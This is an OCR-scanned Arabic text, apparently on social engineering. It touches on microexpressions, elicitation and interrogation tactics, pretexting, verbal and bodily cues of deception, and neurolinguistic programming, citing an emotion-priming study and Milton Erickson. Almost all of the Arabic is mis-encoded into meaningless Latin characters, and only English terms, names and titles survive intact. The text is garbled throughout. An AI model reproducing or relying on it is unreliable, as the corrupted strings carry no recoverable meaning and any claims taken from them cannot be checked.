l_jI jaJLujVI 6jI^_a3I daa jjj ^aJI <La.^UI ^LaiVI (j^lij 6^113 ^ j ^ microexpressions^ IjS J 

u^j <t*lab*l ^ ^ JaSa u^J (elicitation skills) JaU^VI ^jIjW^j ^ (interrogation tactics) 

(Jjj.V^^ diljl^l 6 AA ^lAkloal ^V^^J c flj^" ; jA (jjli A3 Jl jj V ^ill JIjjuoII .^Ajjj ^ilt (JJjlall Jl fA^ jiil Liajl 

V^Uua.1 qm a\^ ^ (microexpressions) ^Ij^-aSI ^lilldul <jlAj uLS ^_ 

(Jjja^II l^Akluij ^Uia.1 o^Ai^ JjSaiII J microexpressions i> ^lil^VI ;Iaa Jl ^^jj ^31 Iaa 

?dinaJl ^Ul^VI 

microexpressions JjVl ljjLjVi .Aj&Uua.VI ^a^II J microexpressions ^l^i^l <^£3 qiSj jL ^131 11a 

.^lAaJl lJUj£I AAA 2Lj151I Aia Jallj 4 j^Llol! (jinn jl jJjll (ME) 

3 jKj Aijj lja.3^ cijlja . jjja.VI oUJl <-iiLlx> Jxi ^ j^j c_djou! <iL <j^alaJI ME fl^kluAj ^Hi j 4 J jVl jLiVl ^ IajI J I ja^joal 
'Stephan G. Boehm 'Richard E. Zinbarg 'Wen Li uj^-^ /"^^ A±Li* Jl ^ii^ ME <j^ J^' 

SjaUuti -La. jll CjI jjuxll qj± ^ a£jaJI 3jilaUll jLJI 5J^Vlj ^ju^nrll" jl jisu ^ojI iiiiL I j^la Ken A. Pallerj 

"(_^lkll A^Lui ^jjjIjj 
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"Neural and Behavioral Evidence for Affective Priming from Unconsciously Perceived Emotional Facial 
Expressions and the Influence of Trait Anxiety" 

.djj^JI microexpressions ^jCjj^a^\j^\ ^ 

t> l$\ s .f^^ j cj^jaxJI JalSj Jl (Electrocardiogram) EKGs i> s > > ^»M 1 CjI (jjl^lJI iajj 

J ME c> t> 25/1 c> j tlijl£ ^11 jj^iill Jjt ..ill I jaM b( jJj1! j 4aj]| J cj^LiwJI cjISja. 

4<jjaJ! jl jail jl£ b) . jJ^liill liA ^£ <lixijJaJ La (Jj£jlj3 I^JJ dL^LjaaJl ^J^- (jl ^Aa. J ' J 6 UJJ^^ J <J .^J^M 

,L_aial jxl\ £>i& Jj^i uUJ 4a. jll dj^LjaC ^jla (jli 

(il3j (jc A-iSA. dal A-L&Ij (jlajC (j^^ia (jC- ^)A.I (jr"i^ uJ 4 nt a A-lilalxJl <UIaJL L-lC^Ull 4 j£ <aJ (j^aAjuJl ^jl ^1^)11 CIiaJI b& dlJJJ 4^ <Jjou31j 
tilli^jME (>> "tAjf^a^l Aix-ajSlI" 4ib ftbl linalj (j-*Vl <Jjl j (j* b& J Cj jaJI <jlaxj CjI^j jSl .4iialxJl 

.L-fl^JI (J^b 4-iiIaU-ll djVLaJI ^UijV (UaV (jiaUj l_a jjuj) <iix^c a-\ 

m jj jjja^l L— Ln^ USB ^^SLa <JIaJV JUSjjojI Jc <J jj^aJI L_ fl^_j A^Jjui Jl (jl (^cLuaVI (Jjj Vi^ all . jJjllLaJl b& l!^^ 

6 j^ill (j* t-j^ ^ cJ^ '(j^o^l ls^" j *^L>y ^j' ^-UuaI ajJ (j! lg lail jl! (Pretext) ^sj^ 

j& L_flS b& (jx» j^aIJ 4il cJlflj tS^cLui^ Jl ^Uajj J-oxJl b& (J!l<i ^ ^La l 11^ _4j <j^al^JI 4_jj|i3l SjjjoJI L_alxi ^L^Jl ^J^> 

^a^su J^stjuj ^-J^ (j^ clA^ ( — * ^ .A-IAj ga*J j -W^J^ C? 1 ^^ 6L_ ^ CjUi!>lc A-ilc laJ ^3 JaxJU <j^aLaJI 4_iilalxJl <!i3L^J 
^ dal ^iaIj jl^Jalj ojcLulxi ^^ic Sjinjuiti J^lfl ^ .< ; lllall (J^aSj jl cJj^^ J J ^ > >1 V I ^ ^-UjjVI 

.<ul!a iifll ^<JI ^ sai^ ^aja c^SUa jj^i Ajli a aLUill ^ ^ j J£aij -W^jj c5^^ 6 u microexpressions 

(Jjill JliiaVI (jc aLjUI Jjj^all (j-d ^jAslSI laJ 6<! jjL» ^jUujVI CjlaUaJ <jb J j^l! (JjS t^jl jixJlj l^jU ^Sj g la) <Jj3 4 JUJI ( . lila 

jviE ^ ^aaIj ^ixj (j^j cJ-^^ ]vie ^i«^Ll*i! Lg c-\ <u^.yi ^ ^ .Ijjj^ ^lA^ii ^ jjiai 

jl (JIaj ^1 ajL^I] l£l j^j .(mitigation) t <Ja^J lJS jj! jl ^jjl tillil tliua jj^j jl ME ^I^JLu»VI I^a 

V c^Vl ^ jll bU .ME I uj^ ^ ^ 5^La. ^ c^IjI ^^Axj V ^/VfE ^ ikl^ 

<jajUjaJl iku (jl t . iNj i jj^xjll ciai^Jl <JC-^)3l to^cL.a.ftll L-IC-jj cdLt-aal CjI Ala d l <^ ^ > LdAiC. 

j^ld ^.jJ (Jjjiall cJ^I ^ J JJJ^^ S ^f^^^ USB ^ cAujI Ul" <iaJjudJ .AjLjujVI 

"^^laj £J^»J ^>^^ ^ ^1 1 ** 1J a > h ^)f^-l <— A JJUJ (jl J .l£^>^ A^b S Jjoj <C.Uia <Lj tilLiA j . (J»^J'\^ 

.^iixi <jU ^j^ij c V^ll tilli^j (^cLal^VI (JjjU^xJI AxjoL <jLul! liA (jli tjjjllLoJI b^ Jlo 

t^l^kJl c ajjq£ 64_ijtii3l <SJjJall .UiaJl ^jJall til jLaJl L_lj| (jxi Ia JJC. ^ I^a ^ ^1 J^ajJaJ UUa.1 tiljli tME *^ L>^ *^lilaj!>U 

L_u£ bl iLlAA, cilli JjSj (jl .^l^aJI (jC^ L-Ljj11I ^ ^UuaVI J-^^ ^< ME ^I^IujV ^UjISII <9Jj]a]| .lilli Jxij J\ ^< ( L^aJ 

(jl (jjC^J (jjill (jjiii^xJl (j>» ^J^sJl (jJJ ^ ^La a cJ 1 ^!! Ij>1^q ^ jjJa j-<Jl b^ (jl£ ?V ^al AjLj&aJI A i\ aJLu^VI dijl£ b] L_fl^xj3 cJ^J^ cJ^-^ 
(jl V (jiaxJl (jl (j^ ^5 _^I^aJI jl 4 Qj'o^ II ^1 ^JjuJJ (jl (j^^J (3^ ^ ^J^> (j-Q £^0^ djl jjjtIj i \ui^l\ AJtl i(jlxl\ iaLftjl 

,(^^3^ d^A a I iklL ul (j£^jj ^>*jujj ^>^-VI (jiaxJlj 4(JIaJI liA 

?^l^kJI (j^ ( LSSM microexpressions ^l^^l ^I^j 4 jlSaVl cilti (> ^ ^ iiaiaJI c> ^ jW 

■Vnun t^joill b& J^Ia. Ia^j^aj La£ tiais microexpressions uj^ j^' J l p c - s $\ ls* u' ( . 1 >J Jlj^l b^ C5 ic <jIa!>U 
^jIiujVI c>axj Ji^j c^ill t^jaill b^ 6^ljS pUjI jUj&VI ^ t*Ui ^jja .L_aLl ^xil Jxill ^ j^jj L_aLl ^xJI microexpressions 

•L_fl^J| ^l^kll C ftjjj^ ^^Jc. til^cLolJ (jl (j^-AJ ^UJjl ^-*Jjl 

(Contradictions) ^Liaaliill 

(Hesitation) **J$\ - 
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(Changes in behavior) J dl jjAjII 
(Hand gestures) ^ dlaja. 

. J> *afll3l (j-a Ajj-aJ ^ 6 ^ 4-llLlll ^lalLall Jabj 

(Contradictions ) (dLaS Lnll 

Ja> JJ (J I J * Jj> ^ ^ s ±j^\ La I jl^ ^ J ^alcl LI .4.1x31 j dLLaia. J l^C jfj j (j£-aJ La Lllc l^jV (J^aLa. J^-^ ^-ixj^a dL <ajl W\\ 

<j^aS AjIaj J Lajh ^t c ^ixj V Iaa .iLlS 3 > aSlI j£iSl La Lllc cSIUa jt Ua ^^aiill JJall J^ J>^t ^ Ublaj 

(jalj Jj > *a1 &1I ^fiSi\ V ^t &ct jl 44jIAj1I J (jjUMl 4jUall 4_i3 LaJ £CjJalj Ja^dJ J^alilll Ja Ldjt^ jaiil V J"^ t^La^all jt 

m Jxilb CjJ^. 4j^a3 <QjJa Jc (JjjJj £$1 jll (j-a J^ udJ (j-a Jjj^alallJl (jjaj AS < Jj- Asl&\ Asu C5 la. . ja^l V LI AlilaJl J 

JaJ till 4a> <J ^Ll^H L_L^J La (jJajl ill I .L-lAaJt Jc ^LJa ajLllcb dl > 111 I ^JJ5J Aic jLjjc-VI J aLa A jj^aLa J^l J-lLjajll i>AA 

.AjLa Ljajl q -^o\ T\\ \ Jja. 4j( j^IujI *LjI <j-aaJ^J microexpressions $AAL3La .^lli (j* ji&l 

CD c^iiiiill jiUjl! Jl J*ill J jJ^a jll <ljla^al L_lAtA dut .dU-na L_JjAlaa till dla^Jaj A3 t&t (jlajjfl! 4JII4II JjJ-ui Jp 

dljlj .tilli <J ja» <iL ^alaJI 4jujA1I jjjlalj ^a j£j tillilj A hx a ^JJ^ 4_lx-aa>J LlJja. ^.^antl (jj^ujjl (jl L_fljxJ tiljj .^j-aLa. (jlajC £A 

/'^jl-q ^Ijj ^^>^ (JjjJ 4il Jjic" ;<ill cJj^j 4-i2S^lt ^Uil ai ^.mla! 

J <lL jll 

dlala Ul <JA /ojUj (j>» (j^jl L-Loal Ldll jJl ^J^J (illd ( . llialj 4 jkVI ^ajJ ^1 C_fl jjuj Ul ?llA U^. (JjjJ 4il 46jl" 6 J j£j ( . u£ a 

; ( jjjLj]a Jl Jj^lj (jl (jl*J liA (jla 4plSill ciL 4^Lkll CjIjUxIIj ^Uaau^ill (jljjVb ("ml lil "f^bi 

# "Ua (joul <j| tljic" ;^j^.l Sjxi J jij j djUiL Axij l^jj 

."V jl liA jA jl£ lil La C 3^J (jl J ^ajoal" ;(4i^L^a (jj£j V IgJl ojSfl JjSj (jl (j£aJ jll) Igjaij ^a (j^jUli Afl Lg_i1 

W ME UJ^ I^La . jj£I jLi. 4jI Jl SjL2£U J£j La jA jUot^ti |^A V jl llA jA jl£ lil La c jaaJ (jl J ^jujIj llA (JjjJ 4j( 

Lgil '"kjn! ?c_ji£3l J ^ jSjll Jc; <JjJal6 CijIS ?c_ji£Jl J (j jaJl (jiasu LaJj j\ jlxJl (jxi (jiasu Cj j^Jal Ja ?^Ui dlki Lalk; 
.lia. <J^. j (jl djjS (jjaall Ajc j tL^jsu V laa. I^jI LaJj I^jI LjUIj (jiajliij (jl ,aJ V ?-lalkH LaJjj AllaLk 

L_lxJ 4^ jkl 6j-a . j-aVI ^jl lij (J^j^all JjA^jI J j^aJl (j-a Ajj-all (jj'q^l j !>Lla (_^acl jiaJl jLiikVI tilj£ <aJ jA (jl£ lit La (jl Asu 

.V jl (JAj^ 1^1 1^1^. Ijjoij^ (jj^J (jl 1^1 jll J^Lu SAALui-a j "^^-aLI J J-^VI Jallkl LaJj" <aUaJ 

(illclij ^l^-jjj ^ jaJLj LjJalc. jj£I (jj^J (jl ( ; UjujJ (jl (j^-aJ jLuaflJjajVI jlj-aJjoj| ^-aj 4L_LJaiJl CA a^Lalj (j>» ^1 dlilj till <1 j^. (Jj) J 
t^LlI dlkllkl All J^ll dlS jll J liA (joul dlLajuj AjjuoII jl£ lil JjJil! lAA (j-a ^ Ja J t ; A3 ^ \~*\\\ 6 1a Ak. .Ajt-a 

"fJjJaiVl CjSjI! jA La ^Jjl cJlS jSl! J^aJ 
(j^l j L-bJasJl ia^.!>lj du£ Ia! jll J^Lu (J^asu 6^1 Jl (_^J^.I <j^J tila>laJ cilli£ jll c-La hq^l 1^1 ^-ajoaJ <11ojVI (j-a ^ jill lAA 
I^jV Aiiilall diLjaallill A h^XaJ ^ ^Alijll j c LlaUjll £a 4jU n>iVl J jj A3 tSLli ^J^lL jl 5bB CjAj I^jI dlilj LaJj 

_c_jU1| tiLaAS Jc jj^^JI Jc tilAcLaaJ j ^lAkll dj|jjaij-a (jj^J (jl (j^J 

(Hesitation ) JJj// 

(j-a <CjjoiJ JL (jl ( . lau L_j| j^ll j cJlj^ cJLujJ du£ IaI .cJ^al^ <all l_jA£3I (jc c q> : >i^ti La (j^>^ ni A^J aIa^LujI cilj£ t^paSl nil jljC. Jc 

# l_jI j^ll (jLauflV (Jlid jll ^AaJLujj jl£ AjI Jc ^L3a UJ^ ll^ tllijoba A^jlj 4-£J t(j^>^ >'MI 

^ jSI LI Lai (^^-ixj (jl (j^-aJ AAjIill .c_jl j^-ll <— Sj*J IgJl ^lsu ^^J ^dAjA^JI 4_ijjjj£lVI Jl^l ilS ^ J^jj <^ ■ LaAjc tJLlall J^f^ J^ 

. jstjuoll j^ii ^^>^ uj-^ ^ j' 3 N 1 "V ^^V^ ^ fjj^^ ♦ 

j| (jjlljl Jl j^. ^Jl ia^a L_fljcl Llj <jojjAa1I J ^aLVI AAC X <jl <Jj^ L^ 1 ^^ J^^ "LoajAxi (j-a J^.j-a JJ Jj Jc (Jj^^.1 LaAJC 

^ jA\ tSllA JjlaJl Jl JltiA ^ c_iifSall ^a Ac jxi Jc L_u£ Aal VI 6^1" ja. jl£ IaI .1^ lir, jll ^LjVl dAA Aj^j (jjl <ljLudJ dbaia 

Lit t jl j" Jla j AAjj IaI ttilli ^a j ,4jU"..iV1 J JjliaJt 4ja1 j ^jjoj jl£ -uV AiiaJl Iaa ^jVl Jc^ "?£ JJ^I ^ J tiljAcLaiJ 

Ujjj 4c_jjjaiJI Jl jjJii Ja .SAja. SjSa ja 6Aj JiLk <1 microexpressions <^^L» ^ JaLkll jjjlll (jla Ujj jet V 

(illj (jl£ (jjl Aijstxij Aj j-all (Jjlajl J 4.iuulL CliS jll (jLa. Aa3 t^jjjlLaJI LiK J ?l_j19jl1I jjj^j A aJJJ (jjaJl jl tilLobaVI (j-a L_fl jaJl 
Jljjuoll (jl (j-a (j'q^Ml ClulL jl La£ till (_^ja.l 6j-a JIjjuJI jl jaj (j-a AAjIill tiljjajl aAjaJl Aijst-xJl jA <ic L— la ill ( . la>J ja.l e^gjZi .^aLVI 
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J^i^. Ijjuij^ jj^j jl cfi^. o^j '^^^ UJc ^jjjJ ^I^J! jc t flJu£l] ^jlill ~l i^LujI m A i\ aJLml JlxliaV diS jll <i!33j ^U£3I .^.^ 1 ^ 

Ijjujj^a L— Ijou] IgJli ^^^-Lg Uajl l— )>la t JJ Lq >*>^ uj jl£ 13] _<CjjudJ ^KjI Ul <il331 ttiljjjj^ jxa Ul .^1^31 cJjS jj^jIU jj-ajli <jjjU3I (J^aa-J 

.AjUojujI JUja! <!jU^ j! ^ISJt J la£a *Jaj * jl£ 131 U jj^il ME ^ ikU Jc Ij^ta jj£5 jl .^I^JI Jc 

(Changes in behavior) ^LtJI^ 
<L^)la3l J V j\ jjjtMi J j^f*^ dila^V .u^* - * ^ ^ ; ^ij Sj-a J£ J a£ jLoj ^ L_fl^JI jla 4_jujaLL<JI <J!^L^ 

j£j j t^j^l j^ ^jjjj ^l^kJl Jj Jj^j CjI^I^^VI i>3& <J1ijI£ lit La ,^l^Jl Jj JjJjoiJ jl djIpl^^V I i>3& J£ .Ja j^U J» ^U'^J 

jj£j CjU£ jloJl j£-oJ .^LiLujl jjjj V jll j <L^)]all i>3& J 1 frlujSl La duj jll CjIc jjJa j-<Jl Jc jj£I i3j' q ^ *^ till ( . iu>n jl ^irTn 
_^j\i^J| cillj ( kjuj^j j) ^jjj jl£ I3I L» jj^j jl jl t^jli^JI j£3li .ill jlil diS jll p iklLujj ^akjaJI j) Jc djLa^ylc 

(Hand gestures) 4^ <^*>* 

tl^U^ ^^^juJI jj£j t * a J^ jlg-laV (j-aabjuj| a iklLaLj .iS 4(JliL<Jl (J;1JjuJ Jc .CjIs-LajVI a I l^Lud! J ^J^U Sjjj^all ^Jj>ujj^)J Lq Ullc. ^jjjlill 

\ a * laJLujj djIjLaiVI (J^asu ^jjjalij .(jditlll ^il jjj jll (j^J jfl 1 oilll (JU^jVI c-pa*^ .U^^-^^ L>* ^"^J 

http://w ww. examiner xom/article/detecting-deception-using-body-language-and-verbal-cues-to-detect-lies 

^ ^ij C5^' CjI^UjVI J^U. 

J ^a3I (jsy*% >'MI ^ ^LaJl jJjllLoJl ^gl] Aio .SAlaw ^>f^ ^— ^ ^jqj^l <Ja^ ti^Lal ^a3I ^j-d t^l^aJl c fll ujj^l Aic 

jl Vgjq^li fj-^ ^ ^] ^ -^-^^ (j^i^ udll microexpressions j) tj^j c ^cUua k | ^.v^ ^ jl 3 mn ^j^aaJjj Ui 

L_fl^J| ^LaJU^J dljn»Ml (J^axJ a I iklLujI C5 1^. <Lj CjVI^JI (J^H .^^J^ C5^^ ^J^^ t *°^^ Cf-^* J^J^ L ~ L ^ ^ \. vW *^ Jjj 

. JSxSI j>» 4 ux a <!LaJ ^l 

6 JUixJI J^f^ (^c- '^3^- jl U^alc. ^j^i^ > : MI jl ^j^aJ .cj^aJ jc UiuJI l-ujuj ^j^il C-Lujj] Ia^.j3 microexpressions 6 
J-ol ^xJI 2_l<^ jLjjcVI ^ ^.U3 microexpressions ^l^kiujl ^ Iji^ jS . jjj^ jl c_uJalx. j& ^l liA liUJ JjL V <jla 

jc UiLdj ^ alia a a^il^Al j^lj ^jaill I3a i ^ j \ * ^ ^j]| microexpressions dilSjjSjlt ~ iklujj c_ u±kj| c ^cLdi^.VI <^l 

^lillcl ^aUajj JJ^ 3 C-J^ lij .C^^JI Ls lc LS LlLdl\ JjVU jj <U^-j V LJlc. A£j| .(JJ^V^U ^^C-Ldla.VI ^11 1 g o iklaLj c ^i3l cillj 

>( _3J^)ia3l 13^ Iklljuj Ai^A (>— LUaJl LS C-\ al^VI ^j" aII (_£-^JJ jl j^-<^ C5^^J vj°J^ J^J^* 3 ^^ ' " Q *^ J^J^^*^^ t^aauaJl 

I jlj jjill (JjjUII .^Luj cjS j J 1 1/9 tiljjjjjij J djU^^JI Cj^Ja ^31 cJ^ll lP 3 *^ l_jU^JI 13a J 

jjC^J j!>Uaj| j-d jjjjj£ pLa. , jj^kVI JJ^aJ <— A J^J Sl*i) jU jj ^-^1 V ClxS j ^31 oLojUJI j (JjjUI! c alalatJ j-d ftjlilui^U 

cJ^^J ^aUuAl ^^-j ^ flialxjllj tUI^Jlj (JUJI <lnaJl ^jjjUII O^ 3 *^ ■ t **^ is* ^ J i o ojjujI jl 

<J jjixJl L_fl^Jl ^3 Jij^j (J*^ Ai^LAll oiA l^-Lo cJs«-^J U»j ^jjjUII jc ^aixjll clifl jll j>» J^5^l (3^3 t8>< J^^ ^^cUuat-VI (Jjj <oJt 

c_jjjH3l jc diiaaH / . u£JI j^ ^j^xJI JL^xJI I3a J jjjU^ll jxi ^j^xJI Jac ^3 .microexpressions ^*jai c>j^ -laSa ^joaill 13a 
jli ttilli Jl 4iLjaVUj . jjj^VI t^L ^aUJI JL^iVI cj! j^a J o^U j jjui t microexpressions ^I^LojI j s*I jSII jlisjj 

.tiL <j^aLkll (Jjalill CIjULc J ^Uill CjIj^S j^ J^au *^U£3l d3a 
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Neurolinguistic Programming (NLP) 

t<JUi j <cjjaij 6jjil<JI jl^aVl CjLj£i jjjiaj ^ t^oLull £>i& ^j-o .^jU^II £>i& Jac 4jqj^ ^oLaj V <J^-^ J jft 

mU A<&\ 

Ajjuoij £5^U-a ^^ic AxUstJ UaIc ^Lld J^*-^ L_li3LujVl j (Jjiall (j* a (NLP) ^if^axJl ^O*-^ ^^J^ 4 {/ j&j^Q 

lalAjl jjj 4i^laJU LujLujI ^^A*-* ^ - ^ jL^ajl ^aj" ^ (NLP) <J^*13^ i^jJ^jVl J jjiuSjf (jx jAs ^3 U£ 

^Ull ( LjjjJ b tnn liA ^jjLojI Jj^JI j;!>UJ! ^Uij" j 4 M lgiLk iLalSSI (j^ill iaUjl ^aLk) 4_iili3l c_jjUallj 5j^U ^ jLuoll 

. "^UJIj C ^JI ^ jLoj LUj! jiiiu 4 JUill J^l j^lj ^ jl! 
dibUJl j jj^Jl A qj jj^qMl JaL^I jjiisu ^ ^cLaaj ^jl <j£-aJ ^5^Ua3I ^j) ^ ^c. jll ^^ic t^jjlill S^cLauJl ^ Asul l_jU£JI 11a 

.(ill j^. ^j-d ^ JaIxjII A-IAj ga«JI Aj^slII! 4^a^)J! ^I^JjujI C5 ic Ia jj^JJ ;<iLaiij ^ 

^jl Jjjl .(J^. j^. ^ ^Haj^xJl L_Li£lj JJ jJJ.ft^ jl^. (^^ic (Jja qui] ^jVI 6 jj^slSI (jj^J ^ Aj^slUI ^ L_fl jILg jjc. du£ lil 

<UajJi| ^jAslSI (JjV jjuj LJlc. 64_icUu^.VI A i o 11 J <;iJjai <j| L_fl jjoj L— Lia .(jVI ia^S (illi VI 1 ; lilal 

jSij ^akjuoll (jl ^LdJl iaLajl J;}C.j (j^akjuj ( flj£ (JJ^ ^ (J^akjuj ^jc jJ'^i^l <Jajjail <JiLa j;iC. j^jj ^^3! Cjl^AUaxJlj 

e l^J3LAJUJ AJjjoU jJ-liill <iajjall ^j-d ^1 jjVl 6<iljjalVl ^j-d 

(The History of Neurolinguistic Programming) A-u^xil ^jjU ^ 

Jj^. ^aix£ NLP <J JJ^f U^ 1 ^^ ^J^^JJ J^J^ UJ^ 1 U^^^V^ U^^^ ^ LS^" ^^-^^^ CljLilixJjudli c L^alLQ ^ I^J 

^jjliLi (J£ ojl^i 4 a i ^^)^^ ^^^J ' tws ^* C5"^^^ (jUJlxJI ^a^jujI ^jj^kl g.1 Ac. ^la CjL^jI 

ciia j ^ diaa3l 11a m A u\sv*\\ ajijxIW a^ajA\ ^ j^-La code ^ j^j^ 3 ^ I C5^^ j L - L ^ <J ^^jjj l^lc <J jj^^JI j 
j^jjj^. j jl^jU i— ^ . jjiiiill C5 ic j^Ull AJtlll ^l,^ unl iaLajl ^^>su '(meta-model) j-^ j^j^ 
^Jc. l_u£JI qx> JJa ^xj .(meta-model) j-^ c^-^ C5^ , ^ c ' j^j^ 3 ^ ~**^ a j) ^5^U-<» I j^a^iLujIj UjjjiJl^ ^ t ^1 ^ 

7j (jjiiL<J LjjLujI 13 I j^*^"^ .NLP ^ ^i^^j U» ^ ^jl l^jLuj ^ ^^131 4_lujLujV1 Jq - Ijl^ ^ (JjjLujI 

'nesting loops 'belief change < refraining ' swish pattern 'anchoring (>^aj ^jIIj Ui^jal ^AJ\ 

.submodalities applications j 'chaining states 

3jujjL<uJ (j^Uil lLu\£ ^^ill ;CjIc j^^ aII <jaijLuaj diljAllI AiLjalajU j^jj^^j \±i ;^jjaii3l ^ ^-J^ ^-?-^>^ 

Iaj ^ilajj AliA ^1 qj^ m e>\^)±Ll\j tdjUfUlj c^jjAaII ^jjoJI j-ail! t^jjjjAAll o^J^aJl 4illla3l NLP 4 ^J^VI ^1 jluJl ^ 

^aJ^jJ ^aJJ ^aJ ^jVI (^5^- .A_Jjua£lil ^ 1^1 uLa ^J^^ J^. jl 4^ jll ^jj^ L_J^£3l t^jj^kVI c _ 5 ic 6^)IaJjaJl ^LlJJ ^jl ^jxvaJI ^Ijlj J a all I^A 
11a (J£ . f I J, 1 ^^ a ' ^ ^ 6^1^_juj jAj^alj 4_iJj^astJl 4_j^sl11I 4_^^)i3l ^ a (j£.uiJ ^jjjj^j <C j^^ a (J£ C-LqI jfl tl^JjajjUui 

U ^ uUb NLP o^jf- (43 J 
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.jj^l (3A*J 1 g Ll^J (j-a (j^ 4-iJj^aaJl 4_j^sl11! 4_^ajj3l (jxa 4j.uiL.uVI COdC yj j 

tfjLjjLjj 4jn<nt*\l ZjjxM £*~o jjJI sLmJ 

;UiA (jjiJjl (jjl^.J Jj ^aixJl (JjJJjojIj (JjJaS t -ljallj | (jLaUalj^Jl 

>Lg £ju^Q jjaU ^a ^SU JJg udll jLj-dVI ^^jojUjuJIj ^£ J*-Ul Igjuuull jll 4jLj^j3I 4-JJjJ Jjll <jujjAxJ| £^Ljl (j-a CjL^SlI ^Jlc j& j 6 JjJjjA 

jl^al (j* (jjjj^a Jjl j ^aI L_flLau£l J u^J JJ^ U^ 1 ^ J .i^ 1 ^ cJ^J^ J i-iLjj'^ ^1 J J^f^ J cs J ^ a ^J J -J^W Aj^%J 

dlsall SjSfl L-flluCSSl J JjJaill c53»J J^L J]j .^J*^' CjIjI^II (4j>Aaj) C-fllu>jSl J JjJaill J^O^ J!^ . NLP-M 

.<jjjL3I <J jsc J l_lojL^JI 

4jjji ga»JI 4j^gjj3I ^alc J ^jjfll ujj£I (Jj^J .4jli*J f | ^c-gI jjIIj 4jjjjoiL^JI ^cxaljjll (jjj JaJjllj 4j^xA1I Sjlg_xJl ;(jtjj£i3l ^jljlA 

?<jUUj£VI jliA ^ Ul£ 

J ' JW^ ^j^' ^ I j J J u^o^' o*^ j*^ t> (Milton Erickson) uj^J uj4^ lA* 

<JluJl CjVI^. (J^aau (illi J L*J (jlal jx*VI (j* U' (»^^L ^ ' "J ^ 64jjI& 4j^*-1 Sj^ cillj aJ 4j| 6J-al J La L_JJ*£.| 

.S-L^jVL ^JjJjll dAjj£j ^I^JjujU (illij 

jL^JVI ^jjj^J ^ C^J UJ 1 ^ ( ^ ^\ m ^ L_li3Luj| jl ^l^la d LaJ cJ^J ^U^^)^ 1 ^^ f^^J ^^^^ (j^ C3^)^^ 

^■LaJ Jij " J^' c^*^ ^L^J^*^^ C5^] *^Jf^^ 6 ^ ciL£jj (j^J <J* '^J^ 3 (j^J^) <Jaii3l d^A Ik. 

(j^aLkjail Jfljj ^aJ j ajj^Lc (j| (j£-dJ Uj^l J ^ ^ < -W a ^ clA^^ ^jj " ^LaA j;iC. J] ^*1JI J UJ^* 

^alc Lojjl^ 1 £ (jl^ ^ill j (^Ajlj JjLaiJJj^ (^^C-^J (j^aLkjaiVI -lil^J Jc Sifl ^^*^J isij y ^ a ( J^^>^) "^U^^)^^ 

.UjjjiJl£j ( jjj^ LjLjj) Aj^I^ J (j!l^j3l ^^31 j jLuJ! (jjaiill 
Jl j & ^ ^UJI J^) (uj^r^ 1 ^ 6l£L^) jl (<^1<u3I) j t JjVl NLP ^ W ^ ( j^-?) 5JaaJl! oi^ J 

.( J£3I AJJ^ L-±^L^a) j\ j±} ji Sl£La*a J^Lk (> .(j^I 

L_li3Laj| AjUjoJ J 6(jjjL>J L^Sl! UjIjujI JjuoC- 4j^J (j!^.^)3l ^ jViull Ajl^ill J J .Uil^jS J (jjiLG t^lj^qlj L)\ ^5La 

Jj lA^lailj K^qj (jl .(JJ^ U^] ^ 1 ^ !! J ^ *<j\}°l (J* L-lilLajVI (JJjWl j C JJ 11 uJ 

(Jjlaa] <jjill <!Ui3l iaLajVI (j-« <LuoLuj U^jjjj ^ ji&U (jUjiisJI (jli^ ^ala " .(4_^i>u3l) _j ^su Uua U» 11a j .(jjj^VI 

L_flLau£l ^aJ l^£A 1^. Sj^j J jLudjVI (Jj^ill lS^-u^ (J* ^ilaj 4_l<Li£J 4^<JalL<i DjJaL Ubjj U^Jl (illi (j>» ^aAVIj . JJjirMl 

Cljl^ lijj ?<g^.jJj JisLSl ^Ij^J ^ '^-^ J ^^>^ J * ^ t — l\l II!^^^ J J*^^ iAiaII ^jJa j Asu 

^ l^j J-dlxij jll aJlIII La3 ( jq> ^ill j a^J jll^ ^jjojL^JI (jin^ll CjbjLd ^ J^lxij Jll <Lj]a3l A-ijjjojL^JI <^<ijJI CjUJ 

cilliA (jl La£ JixJl jJjuj J JJ ^Jac. £tJ jj tilljA (jl ; J jli (jl (j^J ; jl ^l^b ?(<JJj^axJl CjVIjjuJI) JixJI Jal<Jl djbjLa 
( -jl ^ I (j-d JjJaSl (jl^ 4i£3 tiJjLoull 11a (j -0 J ^ ^S- 5 J ^ J ^^jj A-IJjjojL^. 

Jj I jia jilj ^j| ^IjU ; jUull g, JaJ t^tjUJl JjIS tilLaixj <JJj^axJl CjVIjjuJI dAA (Jfrkia ^ (Jxilxjil J (jjoijll ^alc tilLaixj (jl jIajU ^Ij 

liU» ^j^ij* ^^>*-^ b^ i^b j>u3l cJ^j ^ ^L?*-^ 4-^L^VI <ia^.^Laj Jj^j V ^AjU (jl^ Uii^. jaj (jjlilixj 4_^.Aaj ^.IjjI ,,,^11131 

Jxi j 6dj| jlaJa. b ljVqV> L^xiljjJ JslS <j£3 (jl j3AjU A^. j dlVjljoijl! j!>lja. (j-d j 6<i! jLaJl ^IjJ L<» CjIA^.1 £JJJJ <jl (_^l ?^AJaaJ bLdj i^sJa 

.^cjljjll djjJAJ dj IjIaJaJl C_JJJJJ Jlkl Jxij t l^jqjj Cjj\£ AijjUl ^^ijj dll jJoJaJl Cuulli 

• Jlj]| J^jll Jc <j*l (jj^J ^ ^LXiljjJ J^lja. (j>» ^aJJ b^ (jli 6 4-JjJ^I (jl Ajjl LgAjC 
# jL^. ^(^^ju^J AliaJl t ^ AjjI Uui jl (jjllaxJU (jjjLud^.1 - 1 

e 4 JJa ^ J^ cJastll (J (_>^ 'Oj^^ 3 "2 

# Ajjlj^.J (Jjjl^ll (JjIaIaJ (JJjLud^l "3 

. Jjaaxll (JjjI^JI (jC djjaJl <j1ac. J J >k^l -4 
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L_fl jjoiS A alia a A a>JJJ L— lL lij Lai ;£l^L^)JI ^^IL L_fl jjoiS ^jlLJ! t . u£jj]|^ A llaJL&ll ^jjj^I <1jLu» AajHj Jl CllL^a j lil ~5 
C5^"HJ cy^Wj J* ^ iS^J"^ L5"^ UJ^*^ LS^jfi J£*^ C5^1 J' ^3J' ^ (J^^l C5"^ ^ w ^ J-<^>l 

^Lujli lilj tLa^li J-axJI ujftj 1 ^^jJI tyj ^1 ^jc j^j^aj SUaJI lliLoijLu* j Ullxil <J£ ^jl Vqjq^l 

A A-\ Jjj ^ c fllaj jl aJ -2 

.(dI^L^xJI) jl (<L^lxu3l)cil JJC. L^ L^xaLjJ jJxiudJ <jl aJ ~3 

(4_pji3l (Jjjill) .£c-aljJl (J^asu cJ^JJ V ^ J J**ll U^»J -4 

